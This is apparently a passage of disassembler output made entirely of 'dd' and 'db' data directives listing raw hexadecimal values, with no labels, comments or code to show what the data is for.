		dd 808C0421h, 0A1606441h, 2CA50E2Bh, 4755F84Ch,	36960080h
		dd 5E8A6ACh, 0EE08E86Eh, 0A8A71E2Ah, 0F18540EEh, 2811B965h
		dd 33C7DA00h, 40B0CAFEh, 11BF6037h, 0A48265EBh,	28084A06h
		dd 46403C76h, 0CDC080E8h, 0C4B5BD22h, 4B25630h,	4B3CF568h
		dd 87EC9F08h, 29B61DB0h, 2952D850h, 0E5975803h,	75F62821h
		dd 1C20A771h, 43428C52h, 1E8AD631h, 3F640C68h, 3631E75Bh
		dd 0B0503D53h, 3319AAC6h, 96E03F52h, 18887DF5h,	0BA66C820h
		dd 0F4096020h, 26F33C3Ch, 8383403h, 60A7DC72h, 6567AA13h
		dd 0C953100h, 807E2FA8h, 36D0FCDh, 0A0026D7h, 0D3445249h
		dd 3D0ED200h, 616C1E6Fh, 0BC500116h, 39A209C6h,	0D3C0CEA9h
		dd 2900BD77h, 62B5EB41h, 3AF44F78h, 0DA007257h,	6A4CD36Fh
		dd 5E0077BDh, 0BEE264E5h, 96FD2Eh, 7B8BC185h, 0F3653175h
		dd 61A5B90Eh, 4F2EE0EBh, 75023C4h, 35CD3E91h, 97A31F52h
		dd 0A2D07A60h, 3A000A8Eh, 100448ACh, 5B0235Dh, 0E02DB112h
		dd 901818C6h, 6900BC8Eh, 76BE21ABh, 7B34293Eh, 912C0C99h
		dd 0AE8082ADh, 0AF044E09h, 45D0A035h, 0F0C0A519h, 0D4F217h
		dd 643E5518h, 0B98FDE3Bh, 1E675C06h, 0A0D19124h, 471495h
		dd 5076CACEh, 0C0BB7F9Eh, 0F5678E01h, 0D78FBEC2h, 0B94C4Ch
		dd 34361959h, 8EC56A3Fh, 0CC0172F2h, 9AC22848h,	8D70D891h
		dd 0F0150175h, 1474B635h, 8FA05265h, 29876090h,	0C789F201h
		dd 0CFA14CCDh, 5DA08882h, 89843199h, 0A158164h,	8C98D2FDh
		dd 0D31856B1h, 4E7034E6h, 1F7FFE3Dh, 8022F66Fh,	9244BB9Bh
		dd 650A5EEBh, 0DC4CBCB0h, 0F91B0E00h, 0B00B1AC7h, 689400D7h
		dd 0D0A83510h, 0F03539Ah, 0F7A020DDh, 4F69A83Ah, 43880083h
		dd 417274A2h, 0FCA8A1A8h, 0DA2A51E3h, 3D039C86h, 0DE604D4Ah
		dd 0B5210074h, 46EDC8E7h, 1877C416h, 7600AEB0h,	0BA7B0C7Eh
		dd 2EB46Ch, 410A5DAEh, 0D2E3E044h, 0C8BE8E02h, 4B1D305Ch
		dd 0D0D78834h, 0C5B53CC0h, 4500C4D2h, 0BD787AB0h, 9A00CCCAh
		dd 85720B16h, 15174682h, 34698475h, 0E561BEC0h,	0BC6076B3h
		dd 57F1AA19h, 0F58C02FCh, 77BA6A70h, 413DDCA0h,	0D5061D4Dh
		dd 64535976h, 0E0E812A8h, 0E9423C9h, 2C909124h,	6BA39C41h
		dd 7848E0C6h, 0A2811EFEh, 887B4549h, 53C020FCh,	0A51F4277h
		dd 0CC54E751h, 9BC100E8h, 0B6122089h, 5C0100BDh, 0E8EB787Ch
		dd 6C02AB13h, 1EC3155Eh, 0F846C3E7h, 60127D97h,	963CF094h
		dd 15002F06h, 0FCA6E27Ah, 0C65079Fh, 0AE61B7F5h, 0AB022FD1h
		dd 3E8BB55Ch, 5A374060h, 5DA7A2Dh, 71930E34h, 1CACC387h
		dd 48D9B4F9h, 442489A0h, 235800ADh, 26FA00B2h, 0B5578573h
		dd 0C0002AD0h, 5109B8E4h, 60DBEABEh, 0E183A087h, 9CA064B2h
		dd 1A064C0Eh, 0A30CF539h, 0FD7000E2h, 7BECD215h, 0BB602E61h
		dd 0C958D660h, 64730E4Ch, 0FF4321F5h, 1DF2BD2Bh, 0D055B880h
		dd 8E005D93h, 8515F1D7h, 28BC8FE6h, 4832B91h, 0FB93C367h
		dd 0A218C1A6h, 0F9702070h, 7B0E5D1Ch, 75B7BA83h, 41C6D276h
		dd 0D3B89Dh, 0C54431A0h, 9DEB495Dh, 3C237500h, 0A1D1B24Eh
		dd 0A62200A4h, 4215E878h, 1C02FED7h, 73B40AF1h,	3084419Fh
		dd 524D94C0h, 0E400B457h, 6424D649h, 6907A238h,	0C65A45C9h
		dd 1BE31DF0h, 7304081Eh, 6E806D19h, 32654048h, 0A9F0641h
		dd 4AC95FD8h, 0E08C8C51h, 0B80C155Ah, 0B84B2F6Bh, 0DDE11302h
		dd 532840F1h, 89B39966h, 2A6BED4Ch, 21EFE4F2h, 3836C458h
		dd 30F587Fh, 80287D9Ah,	1F569398h, 0B9E204AAh, 908C6ABEh
		dd 0F49D99A8h, 0E297D00h, 0F015C22h, 0EE49005Fh, 1BDCCAFCh
		dd 9D008FC0h, 0BF964DA1h, 987A1F43h, 8CAA06h, 0F464F9F4h
		dd 40484DC4h, 4E423604h, 0D2AD8418h, 0D4E03430h, 41609CEEh
		dd 19A3A0D0h, 314B091h,	36118187h, 319660B1h, 0D42B9802h
		dd 604B14E2h, 1F4DA488h, 0C0A7DF38h, 0A5BACA3Bh, 8A056832h
		dd 0D45DA7Dh, 13A88010h, 5840D1E4h, 1686421Ah, 6F82A72h
		dd 47F0C0h, 7F32931Ch, 10F2FD8h, 51E0EF00h, 0A55DB89Fh
		dd 7E091CFh, 407CACEEh,	5E399396h, 2762FA17h, 0D5B55203h
		dd 0C9E1C067h, 60F33E49h, 0EF1A3980h, 5B320664h, 0FC09C499h
		dd 0C4902FF0h, 0C8C05ECEh, 477B99h, 9807A3F4h, 0E9EB3919h
		dd 793FAA02h, 0A012B7A8h, 6186E4C4h, 0E1F007Ah,	927E805Dh
		dd 0A7507F82h, 0C0B0B29Ch, 29848621h, 0A6208570h, 95A400D4h
		dd 3C84C451h, 1B00FB90h, 9E385732h, 191F1845h, 0F19DB4C5h
		dd 821C30C7h, 0AE715502h, 4ACBA8BAh, 286C28h, 0A290B9D2h
		dd 9FEFA642h, 35374A2Eh, 7E0C4028h, 0F11821BBh,	51E61227h
		dd 0C3BC24B3h, 701EC4A8h, 64A45F85h, 200FB12h, 76CB22A3h
		dd 0D10206C5h, 10230C59h, 0F5B92A09h, 43A898DFh, 9A6E2CA6h
		dd 1F8CA928h, 9B00BB71h, 5A192074h, 20A4300Ch, 4B8A171h
		dd 3D18BF00h, 2345B574h, 787F4C86h, 2CB5F1Fh, 0B0C38381h
		dd 987A18E8h, 0CF24EA10h, 2382B207h, 3DA153EEh,	1A1F3FD8h
		dd 0BEB47950h, 10C05Ch,	0B6E2524Dh, 13F54EA5h, 40FC35D1h
		dd 0D3B064DCh, 5A02964Bh, 56B2CDF9h, 0EFBCA0BBh, 0D2ADB534h
		dd 0EC8000A0h, 84B8D8FCh, 546A3A26h, 0EA8E3681h, 0F07E598Fh
		dd 437E5F76h, 776CB200h, 8BC7F566h, 8E051DC1h, 696D4CA9h
		dd 0F981E98h, 0BA29D378h, 1808BCD1h, 88E815F1h,	40EAA91Eh
		dd 0CA4A02B1h, 9C98652Dh, 0C6019809h, 534420AFh, 0FA52C84h
		dd 4B32836Dh, 80B2DD5Fh, 143AF12Ah, 5216EC7Ah, 90228EBCh
		dd 91C16023h, 0F97858A2h, 0DC49EC00h, 646D0DD7h, 0E405F092h
		dd 8EF4F82Fh, 0D0A94CBh, 28B309h, 80C42DEAh, 74008D9Ah
		dd 3D301064h, 752F8FE3h, 0F3D540EEh, 4AE99519h,	46E48089h
		dd 496F0027h, 5430B739h
		dd 0D1008C77h, 9D4B50CCh, 32D6748h, 0A1EAC495h,	788023E5h
		dd 0DFA0A226h, 7C0259EDh, 316A4775h, 20A0A9C3h,	0F2D39F90h
		dd 83BCB164h, 7E3E7B80h, 0A0526BAAh, 84A0F4A0h,	452C580Bh
		dd 762490EDh, 89502C28h, 2BBA8EB0h, 3420E929h, 868779A2h
		dd 21A4AD30h, 0E8F96B4h, 2226D13h, 457C40F2h, 9B78C4D2h
		dd 0BC017C71h, 168FC521h, 4893FD50h, 0D9204E07h, 412327CEh
		dd 0D0054DBBh, 0B2AFB694h, 51E1F88Dh, 9C51A0h, 21DD69CFh
		dd 0D1B1FEF0h, 7C479216h, 470B220Fh, 0F3A0A857h, 0B9C63A0Fh
		dd 0C49014D4h, 4B98AB0h, 66606D60h, 5CB5F8FAh, 0D3A42Dh
		dd 0AD28DBECh, 64738E81h, 62C70491h, 16AA032Eh,	0DAD800D0h
		dd 0E80E81FAh, 8CC077ECh, 4540CBC1h, 649900B0h,	60BB62Eh
		dd 821DC7E0h, 0A181BEB7h, 57B4E765h, 17B58834h,	123A243Fh
		dd 746C20DEh, 8803C314h, 70EC1225h, 28F3F954h, 3BFD6070h
		dd 0E500513Ch, 3310A987h, 0C874319Fh, 0AC19F1C0h, 9464A853h
		dd 702101C0h, 941D8DE1h, 28BB9371h, 0C9810B3h, 0B75DA504h
		dd 4C94B28h, 1857DC60h,	3953A79Bh, 0C4196179h, 64B1B605h
		dd 0A876A031h, 8381545Ch, 25846589h, 0B5C3D024h, 858D6200h
		dd 9D54247Fh, 4A6571F9h, 0A3184002h, 0DE090E35h, 71547C0Fh
		dd 33D583A9h, 2ACBF02Ch, 8B36099Bh, 7F0A3492h, 0C2196280h
		dd 29C8F068h, 8434BD2Ah, 0E59ED407h, 88DB68C7h,	0D571E848h
		dd 4B5E9BE4h, 2A4C401Dh, 680D0834h, 1BAE8100h, 1644E2B0h
		dd 9A9C00EBh, 0CF5D95A9h, 0E5005C20h, 8D379825h, 1614F83Ah
		dd 40CAB389h, 7DDDD97Ch, 0C402EC78h, 6231DF63h,	5A0642Ch
		dd 96EE171Fh, 0AD488011h, 2D49AACDh, 0BC7338F0h, 2B798094h
		dd 63BEE64Dh, 9CD4B962h, 0C5D5C032h, 669EC0CBh,	389D353Eh
		dd 0D0E20008h, 7AF00290h, 0B4820E75h, 70403CC2h, 141CD8FEh
		dd 43258B04h, 0A4D0B987h, 0A5A1A69Fh, 1BD6808Ch, 0C72E5A4Ah
		dd 0F2B0B01h, 0D54B330Eh, 703470h, 78F0A355h, 0EA02255Ah
		dd 6702A09Ah, 0AD7B9A81h, 76044840h, 0ED0E017Dh, 0FE3A9D0h
		dd 0EA42D93h, 257ADEE8h, 0FCC1D48Fh, 42056EAh, 4510021h
		dd 856831D8h, 0A660DE89h, 0D42EDB56h, 8FCA1C6Fh, 610CA629h
		dd 0F46E8ABCh, 4D092D19h, 0B887932Bh, 505EE2C4h, 5F0DD57h
		dd 0A7C85539h, 2B59C0F7h, 0B02625B1h, 8F087085h, 0AC06B78Ah
		dd 5116AF11h, 340038A3h, 49A80B1Ch, 97BD000Ch, 0A4632B8Eh
		dd 0A500FCEAh, 5C853B67h, 4976B3DCh, 0B1B48C86h, 31E4006Ch
		dd 67009719h, 2CBBC69h,	0F0F5E4h, 45911763h, 0F9391332h
		dd 3CE668C0h, 13A7FDAh,	0FF4875E7h, 0E4224041h,	5948AA0Fh
		dd 0F3650F60h, 2B16A02Fh, 901C7B32h, 794C7838h,	0AE051EC4h
		dd 0D5C09C7h, 0E70A50C8h, 0E1FCB054h, 0C471DB00h, 13468C03h
		dd 271C9CF6h, 0B407240Bh, 24013176h, 0EC9CAAE6h, 0F92EB100h
		dd 0A0D55C0Dh, 20B0D229h, 0BA2B8F2Ch, 0B595BF00h, 0A43118BDh
		dd 47540729h, 0CF689B82h, 0C69A3B21h, 96D443F8h, 200EC2F9h
		dd 66053AC4h, 0C9AB6187h, 2FF8900h, 4E12E55Bh, 92C043Bh
		dd 4894E02Dh, 13015803h, 0A081BBA4h, 1CD2B9EFh,	0CA412D3Eh
		dd 0E46553h, 8CAE47D5h,	5818F6D6h, 91E06F19h, 41A000F3h
		dd 8EC8DFD9h, 3800522Fh, 0FDD22372h, 50543D55h,	490EBh
		dd 0E99FE6F9h, 79926DCDh, 9420AD41h, 25080015h,	1E27A377h
		dd 7F04D95Fh, 8A8610A6h, 2E0954C8h, 12ACB653h, 96B8908Eh
		dd 36B09534h, 0E2EECC12h, 0A51AA440h, 6F54C2C5h, 0F0C39852h
		dd 0B6918049h, 0E9BBF97Fh, 6343F4F9h, 4A02ACB8h, 0BA2F594Bh
		dd 0D95813B2h, 458AE048h, 59CD000Ah, 5AA6DA55h,	1600221Fh
		dd 7AC7D20Bh, 962926BBh, 2EB868A0h, 0B894A2E8h,	50A301E8h
		dd 0AAFB1C72h, 0DE7450D1h, 340F13BBh, 604B921Eh, 53BC8E93h
		dd 657A00EDh, 62191B7Eh, 0FE609B9Ah, 56D933A6h,	116D0FC4h
		dd 0C62301D4h, 6AF8E8E4h, 0B9E6ABBDh, 3EBCF600h
		db 14h,	4Dh, 20h
		db 0CCh
		dd 734B7EB0h, 0D344043Bh, 0C033E461h, 0FA03817Fh, 8857BD24h
		dd 1E739000h, 6FE363h, 3D46FD23h, 0D4D2A939h, 0B512247Ch
		dd 0EC00FCBCh, 13C60DD6h, 6C24FB95h, 6F809D3h, 0D40359BAh
		dd 0B38752DBh, 4BD89DB3h, 0C5004629h, 3092C2BEh, 242FCAD3h
		dd 12348CAFh, 987C0E2Ah, 4CF2CBA0h, 0D0A8528h, 9CEE0C29h
		dd 90103A01h, 0AC3843D0h, 4AF12501h, 0DCDBB149h, 1602CFC0h
		dd 0A819CAE6h, 0A6D06782h, 3878005Ch, 0F4FF1D88h, 0B959B537h
		dd 8243FE31h, 0A85FCCh,	3FCE0594h, 0B5842D89h, 42055590h
		dd 0DA660E21h, 0CC2C38A1h, 9F2A4800h, 0A7390D68h, 90FD6727h
		dd 55582B0h, 0BEBAD935h, 0D47CD005h, 44185C7Dh,	7F99B5B9h
		dd 0C72F04C1h, 97187E39h, 0BD7A0178h, 236C248Dh, 1D986F00h
		dd 3E781638h, 6575245Ch, 0AB2B00F8h, 0AF4DF2A9h, 2E9DD904h
		dd 8C80F6AAh, 0A0AE45C0h, 5CAC54h, 0FFA5D5B5h, 8A1AE920h
		dd 97048470h, 52AB46C7h, 7FB01380h, 0F2193099h,	0C7940179h
		dd 49305091h, 0B5BDADh,	0F459D8E4h, 885781E7h, 5CD29502h
		dd 5ACBA91Fh, 0F24122Ch, 0AF9CC0D1h, 7C00B112h,	3C42E763h
		dd 0A183551Eh, 1062A9ACh, 167BE40Eh, 0FFD9BAC2h, 8983F0D9h
		dd 4C6C62A2h, 0A8020C31h, 8FB674CBh, 0B6984052h, 8E925000h
		dd 0C14B2F07h, 40FC001Fh, 6004E044h, 510FDD30h,	817AD294h
		dd 0A61FEE2h, 147D074h,	9038E59Ch, 0CEC25827h, 7125FC48h
		dd 0D133F430h, 29B144B2h, 0E0B0E504h, 0A5B09096h, 18438700h
		dd 0B5400961h, 8F10357h, 681BD4B8h, 34D05DDAh, 747D3415h
		dd 522213B4h, 0CDF38CD0h, 0AC9212BCh, 11744F27h, 0E9AAE580h
		dd 4CE3D65Dh, 0D01C42C8h, 0B8242217h, 0AA409027h, 0C3BCA89Dh
		dd 18E5040Eh, 0C3A93FFEh, 0B3A5E0DCh, 0C480644h, 1611FB35h
		dd 0D38E4733h, 5BE0B524h, 2D2A6D9Ah, 9904C88Ah,	0AC4F8066h
		dd 95400480h, 0A7CB2A30h, 2C514CC8h, 9B78C500h,	3AAA42A2h
		dd 0BC93960h, 28975C9Eh, 0B48F91h, 7C2B4796h, 37EBD44h
		dd 28781434h, 45C20AC0h, 0B2AE2F83h, 0F3551001h, 40F0FDC0h
		dd 0CA53B198h, 3188BB00h, 76CB14EEh, 3CF707EDh,	0C1954F83h
		dd 715EE617h, 0B9918220h, 5A7B9F59h, 18289090h,	1CAD3D1Ch
		dd 6F00E098h, 0EC79DAC2h, 9480A833h, 392058Ch, 7DF40006h
		dd 1239949Eh, 0FAAA2F1Eh, 4C13D60Fh, 0C628B2h, 0C48786E5h
		dd 53BFF3A1h, 8C9AA00h,	0FE2E0ACFh, 6A3800C5h, 4D12C033h
		dd 2700E725h, 0CB99C21Ch, 4E86EDh, 0B5B874E2h, 0BD1A8E7Eh
		dd 0F8C4E01Ch, 4A7197C3h, 0B04EB5BFh, 93CF65E2h, 8638C105h
		dd 0E7DD9040h, 0B6213491h, 0E6500104h, 74011EB4h, 42045A44h
		dd 916C4329h, 6C8FA082h, 8DF806A4h, 108314F6h, 0AE07440Fh
		dd 0E13F031Dh, 9F601C81h, 573980C9h, 8F662212h,	79975D03h
		dd 814EE4D0h, 0D8DC2193h, 30A86164h, 207894FDh,	0B2F270B4h
		dd 506AAA24h, 79E9B880h, 0C046434Bh, 0B740FE81h, 9778EB95h
		dd 0BB052300h, 7F8A4F79h, 58A8B019h, 6400488Fh,	53E5C85Bh
		dd 6C3FE99Dh, 5C0C3A30h, 0C9FF3D3Fh, 92540A50h,	0F1607085h
		dd 0F2E8C8h, 48208DDBh,	5B18D406h, 4C38B100h, 5C2E0CECh
		dd 4AFC7CE9h, 0E23C0094h, 83FDAAC7h, 0C464B604h, 0FCC09524h
		dd 1576E46h, 517727EFh,	2D834F6Ah, 1B4B0230h, 8048A6A0h
		dd 0F05188F3h, 0EC48B828h, 0AC214C2Dh, 8A5AA580h, 0F312C9CDh
		dd 0B854EBFBh, 80063950h, 6A76B44Ch, 2C226Ch, 923D9013h
		dd 54776997h, 0D623A016h, 90E48834h, 0CE8409C4h, 901DA22h
		dd 3CAC49FFh, 168F393Ch, 7441E235h, 77887E41h, 9371A1FCh
		dd 60902714h, 6C002B8Eh, 380F57DDh, 7C41847h, 41440367h
		dd 96FD0273h, 0B1A1880h, 0E20787CCh, 4E3C460Ch,	8928AE92h
		dd 4CACC6DCh, 0FADBAC57h, 0ED49E7E0h, 852D609h,	0F240A0A0h
		dd 0A81D6B63h, 0FC0222ACh, 4D7700Fh, 0B9E12306h, 28B684h
		dd 0D5075542h, 1C0E675h, 63D27EF6h, 602714DCh, 995480C4h
		dd 9F486984h, 3D9800A9h, 0FAB68271h, 6A440012h,	0FE2A7D02h
		dd 56739D77h, 1D05C13Fh, 15C60759h, 1C40A56Dh, 0C14E2EECh
		dd 0E90801Eh, 688FEDA0h, 0E0398F6Ch, 0FE11955Ah, 5D3D00F9h
		dd 3C0CEDE1h, 51076CB6h, 0E87EB32Ch, 8C80FDC4h,	0E2D0D88Eh
		dd 3D68019Ah, 83994463h, 80303815h, 3626F464h, 654E643h
		dd 0C20304F1h, 0C400414Ah, 5C90F90Bh, 285CD11h,	17E71D87h
		dd 7CE78F58h, 731FC502h, 0A451ACh, 0DFAD2013h, 10038A85h
		dd 4487FBDCh, 94201DAFh, 0EECF9E68h, 0EB4101E4h, 2E1AB338h
		dd 392E4800h, 3CF30F6Ah, 0C9016FCFh, 0B7A52767h, 5C6822F7h
		dd 6AE18010h, 0BCADDD36h, 0A7A68090h, 1F5E7ADBh, 0F5650502h
		dd 48471ABBh, 492EE410h, 9E01E8BDh, 0D45C0645h,	0B8F6100Eh
		dd 1C90A7h, 9DB15E1h, 67E36C9Ah, 0E0DEF4A8h, 98921490h
		dd 9B00BCBAh, 0A9358893h, 0EC82C0DCh, 37632D69h, 77173C01h
		dd 85A07BB2h, 0E2709Dh,	8DA6610Eh, 34AC8D4h, 0CAAF4100h
		dd 0A2E7D4Fh, 3EDD00A1h, 87A936Ah, 1E00B0DEh, 0CC748886h
		dd 60015Dh, 0B4EE25C6h,	5A3CD2D8h, 0B51D9700h, 99401927h
		dd 74670365h, 7EDB8129h, 387780D4h, 0DD01A0F4h,	0CB24EBD4h
		dd 4082EDB9h, 0CDFE279Eh, 3F83C0D7h, 6B5F01DAh,	728E73DCh
		dd 0B2E2CC40h, 0B49D161Eh, 0ED3595C0h, 0B76213B3h, 541F0EC0h
		dd 0E6098E03h, 0C9A9D42Ah, 0ECD09F6Ch, 0D1CD0061h, 0D6EEDDD0h
		dd 0EF149DC8h, 3C90DEh,	5C5D1806h, 3517FEAh, 4A1033C8h
		dd 90B1FFE0h, 80CFC819h, 288C7D32h, 80788953h, 0B97CED8Ch
		dd 0E26200D6h, 390CB3A1h, 9CA89F98h, 0F700BFABh, 0A9B83628h
		dd 0AFD09Bh, 29786574h,	12750651h, 8DB49600h, 7AA46C09h
		dd 0F1F260h, 0D5ABCFB3h, 0E60D06E5h, 9F00BD76h,	0E87DF818h
		dd 0A47B5C4Dh, 7C5F0054h, 0A52BAF37h, 0B0E3FA4h, 60B94DB0h
		dd 8B13FE94h, 3BE2005Dh, 0C6467744h, 0B500247Ch, 50C0390Bh
		dd 5123BEh, 106D9B67h, 3B82706h, 159F4A18h, 0EC5B3F1h
		dd 3D2DBD60h, 44D3E438h, 8FF4E838h, 0CF3161CAh,	3F5E4056h
		dd 29B2BF3Bh, 80B0EB45h, 636D2934h, 0F9007812h,	0EAB36850h
		dd 3D87A493h, 28008BEEh, 33715C6Ch, 1300D84Fh, 0BBD6B72h
		dd 0AA891D2h, 4C7DE6A2h, 9C8406F0h, 948861B4h, 383A0D27h
		dd 0E8F180D2h, 0AC43A68Bh, 6994029Ah, 7FB4495Dh, 0DB08BD60h
		dd 20C20D2Eh, 0D4894300h, 713471Ch, 0A9DFE28h, 22107042h
		dd 0F907F5E1h, 7BDA1B97h, 0D480A445h, 4C3B071Fh, 6107A192h
		dd 79B09B28h, 0A043618Eh, 0E838681Bh, 0A84D3096h, 30C8EDF1h
		dd 6F18B2CCh, 3D1F4416h, 0E0B00760h, 1D24C6h, 1B3AE25Ah
		dd 410C21FFh, 97E88954h, 37103C01h, 0A1D27867h,	1BDD4C8h
		dd 0C9432EB0h, 7B2793B6h, 0AB7A1AB0h, 0B04D8B84h, 0E2A3D40h
		dd 92271576h, 34A8E080h, 830090FEh, 0E5899E8Eh,	0F1302A28h
		dd 0B7BEA080h, 0D4B203D1h, 0FC753702h, 0E04BE9F2h, 0C49DBBFDh
		dd 0C23495E1h, 8E0403Bh, 5E12ED99h, 7C40C274h, 10B31AD2h
		dd 0F6B12FEh, 0D018004Eh, 7A97E384h, 0D4AA1E00h, 0FB99C52Eh
		dd 0D62A3A74h, 0E8F254F6h, 0EC1512F7h, 902C4079h, 0DB7EEEFFh
		dd 0B9280804h, 7480C910h, 0FAC4E8h, 99FCEB05h, 0AA7DA282h
		dd 0FB7C6900h, 0B7E01F4Eh, 408B3862h, 6595A080h, 0F62AA5F0h
		dd 10EB48h, 0E783C654h,	4C44BFD3h, 0C1334C68h, 7FBBADC1h
		dd 307D1AD9h, 4058BB8h
		dd 6C539E9h, 1FEAAC0h, 8C9A4Dh,	3CF8157Ch, 9AEC40A7h, 1583048h
		dd 0BE6A6F14h, 8BE8C70Ch, 782501F0h, 673B161Ah,	0A6E0F8F2h
		dd 0CD854900h, 230D2CC8h, 2612FC7Eh, 58603116h,	5A00FCC0h
		dd 3EC1A8D5h, 0D0DE7Ch,	75559FB7h, 0FF8ECC43h, 2236C38h
		dd 784F8B18h, 89A04B2Bh, 0C9C55437h, 0B0BCBCDDh, 6736ED01h
		dd 34A28C7Eh, 0C07B08BCh, 8E568D13h, 0B5F5FC00h, 7F3B46E1h
		dd 0DDDCFB42h, 0DC929Dh, 0B3B9756Ch, 0A1A79A96h, 4C26E124h
		dd 0EE8B9B01h, 1ED00623h, 0EA930178h, 0B9297DFFh, 60C850BAh
		dd 0B7F2D7Eh, 868FC61h,	0EBEFE8DAh, 3423A04Ch, 4449031h
		dd 0D5A7D68Fh, 0C0E8C499h, 33119848h, 5401A49h,	3BC8029h
		dd 7E44888h, 2A2D31AEh,	0F7CA008Dh, 5248E559h, 49D84260h
		dd 0CB4A01E0h, 0C96D2E8Eh, 510AF0h, 0E52FBB9h, 0D6E4DA3Ch
		dd 0E61EB51Eh, 0D4CCA581h, 8609033h, 9227FE4Bh,	20470310h
		dd 9E118B75h, 0B2289CA0h, 98C91D2Ch, 99868B6h, 0A022E5DAh
		dd 8D06BF80h, 34904AEDh, 49C93Ch, 0DA4DB6E6h, 799CF2h
		dd 0CF32426Ch, 815D2AF6h, 0E79858E1h, 0A006DFAh, 0F45F8C9h
		dd 7BB0Eh, 70085BD1h, 50B6CA3h,	0CA4C447Ah, 0E5D907AAh
		dd 0AC30EA1Bh, 2A7FD7E1h, 84C801h, 12168C29h, 69E7642Fh
		dd 0B460F0A2h, 0D800E64Ah, 0FDA417EFh, 3945D1h,	161F0FF2h
		dd 376F4B47h, 0FB68DE01h, 3830AE2Ch, 9EAD024h, 0C7A25901h
		dd 0D35285h, 8D94C490h,	0A60049CBh, 0EBC821Ah, 9D8B59h
		dd 0F3725C6Bh, 3FFAA40Ch, 0C1F4284Ch, 5B354283h, 123F6E0h
		dd 7855DB49h, 0D4D91B59h, 2C007602h, 706E0E71h,	0F6E04231h
		dd 129CB088h, 29E3851Ah, 14143130h, 317C00B8h, 0D4572C1Ch
		dd 13CF5340h, 44F39907h, 88B8E43Ch, 90004354h, 3B6EDBFEh
		dd 35F3D3h, 0D1F914C4h,	0F7A312EBh, 169D50B3h, 0E9D6441h
		dd 7273C9h, 2890A500h, 72F1B54Ah, 83096F09h, 578CA0F5h
		dd 3A75AFh, 15DE9063h, 80A612F6h, 0A7DC0800h, 579368C9h
		dd 8174C50h, 44825848h,	0BC873E8Ch, 245AB15Ch, 38820AAh
		dd 73DB201Fh, 9416AC47h, 0A5FE5F11h, 2EEDE470h,	0A8E0603Ch
		dd 0A09258D4h, 3FACC703h, 86A84CBCh, 4004B82h, 3D5D4503h
		dd 0C35E72h, 5B672D1Eh,	826612E2h, 9DEF0801h, 0B29B1356h
		dd 64629AF9h, 0EDF13C14h, 0A6DF7002h, 60E0CE4Ah, 0D400FDCBh
		dd 0E7BA6552h, 72B2B588h, 5D497C54h, 28796C7Bh,	324ACDAh
		dd 73F744BDh, 75C9C699h, 0DB9D0004h, 0AC503CCBh, 4A38B292h
		dd 80842AE4h, 27B7540Bh, 0A818775Dh, 0F7190E9Ah, 0A4F91770h
		dd 5834012Bh, 0F9939C99h, 1CDC35B5h, 609A6888h,	323B6901h
		dd 0F73E4186h, 85005472h, 891633E6h, 757312B7h,	4EC12B00h
		dd 0BEF5A110h, 1A91281h, 780905Eh, 5C014818h, 5F572D75h
		dd 49C208F8h, 10323CFCh, 5EEB3D1Dh, 0A8688018h,	4A0CA3F3h
		dd 0C9F88E3Eh, 311D0420h, 0C8A150B7h, 30072432h, 32872089h
		dd 7CE52C96h, 0DF02142Ah, 0E6919AE8h, 3488A0F5h, 2194E8Ch
		dd 0FD1C6BCDh, 0BCC02B4Fh, 7F005E28h, 7756291Eh, 0D908FA5h
		dd 45C34A7Eh, 7C241C79h, 3F026B18h, 4851310h, 7AC0A445h
		dd 0ACBC90CEh, 310095E2h, 0E0A194C5h, 3BC61EEDh, 0C7842912h
		dd 938E04AEh, 46C1E45Ch, 8B1C34ACh, 0C1215F07h,	0A0898DE3h
		dd 315AE30h, 9D5912C8h,	0A51870EDh, 3C0BB175h, 2C76107h
		dd 808F5C8Ch, 0F49D49B0h, 0AC9501ABh, 0D17EEDEEh, 0B9E850A8h
		dd 710C7D87h, 89255715h, 685E1C4Eh, 3896D31Ah, 59146008h
		dd 1DC0E3Ah, 0D0ADE8D7h, 7828E7C6h, 7C4C8F03h, 4880FDC8h
		dd 6E39949Ah, 2A4F807Eh, 0E1CDCCB0h, 1E2CAD99h,	0E7A90678h
		dd 0B9F691A0h, 0DC645A05h, 60137240h, 0DE638800h, 14F7437h
		dd 33BD12A3h, 30262A6Eh, 7E0A027Ah, 0A8310A71h,	8A3F2E84h
		dd 688320A1h, 6351E3F2h, 57DFB1F0h, 6F5E2314h, 0CDC9B084h
		dd 24095276h, 8877D400h, 53AAFAB9h, 0AE64E405h,	0C4003C4Bh
		dd 8CCCE267h, 0C8C5001Fh, 0E69FC668h, 0CF7DCA4Eh, 256D5D1Ch
		dd 77D280FAh, 0FD32F36Bh, 8C0E586Eh, 9AE360Fh, 0F78358C7h
		dd 0D005398Ah, 2288BA1h, 86CC15C2h, 730C4055h, 0F068052Bh
		dd 0CCEE3714h, 20007D18h, 9E280E98h, 0B92DEFE3h, 0A32A024Ch
		dd 2C48E095h, 8600A6BFh, 0F128AC20h, 15CAFEBh, 9F4B1C43h
		dd 0D5D7AA10h, 4F5474B9h, 3C3E0426h, 0E5A1358Eh, 0C18E239h
		dd 8BD2B1h, 5DD897BBh, 0DCAAF8E8h, 8B7D302h, 71B62118h
		dd 60482680h, 6A2A10DFh, 6EA57606h, 78F8AF5Ah, 154FEAACh
		dd 0CC7EFDC3h, 0A0DF24h, 7328136Ch, 0ECB88A79h,	0D6ECE200h
		dd 39A0BA30h, 0A440BBC8h, 6E930330h, 56E8D00Bh,	3A16307Dh
		dd 0D8000272h, 0C67591D2h, 6FE0355h, 80504DC4h,	0EAE9C800h
		dd 636214FCh, 0FF880027h, 258D261Dh, 721ACA9Dh,	0C0601E2Bh
		dd 79C1AC17h, 88185809h, 0D9FB7500h, 381BA770h,	37DA5E15h
		dd 3B5D3A78h, 6BFD82B5h, 6B320519h, 1CD01E40h, 0A471C020h
		dd 3A65A79Ah, 2AC35A00h, 54DC047Ah, 9B1E2653h, 2E1D8210h
		dd 0B8E331F5h, 76E027A0h, 0CD25D739h, 0E137000Ch, 0D24FEE57h
		dd 608F4C5Bh, 520F1CB8h, 0A796C473h, 0DF45D4E3h, 2476D491h
		dd 0B2809022h, 72690EFh, 5C008894h, 9979D877h, 8330128Fh
		dd 2EE08C27h, 4E69651Eh, 0D7376C40h, 67691A6h, 0CA85F2FCh
		dd 0EA099919h, 40AAAFA1h, 9109970h, 0DF9373EDh,	8092A466h
		dd 602874A1h, 0B00594Ch, 55ED6975h, 6112279Fh, 0FA6A516Bh
		dd 6927FB4Eh, 0ABE0B05Dh, 996224C3h, 0AAC681B0h, 0F85E0BF5h
		dd 6100D490h, 0A4226E05h, 245D7B18h, 26CC92C3h,	0D13D0030h
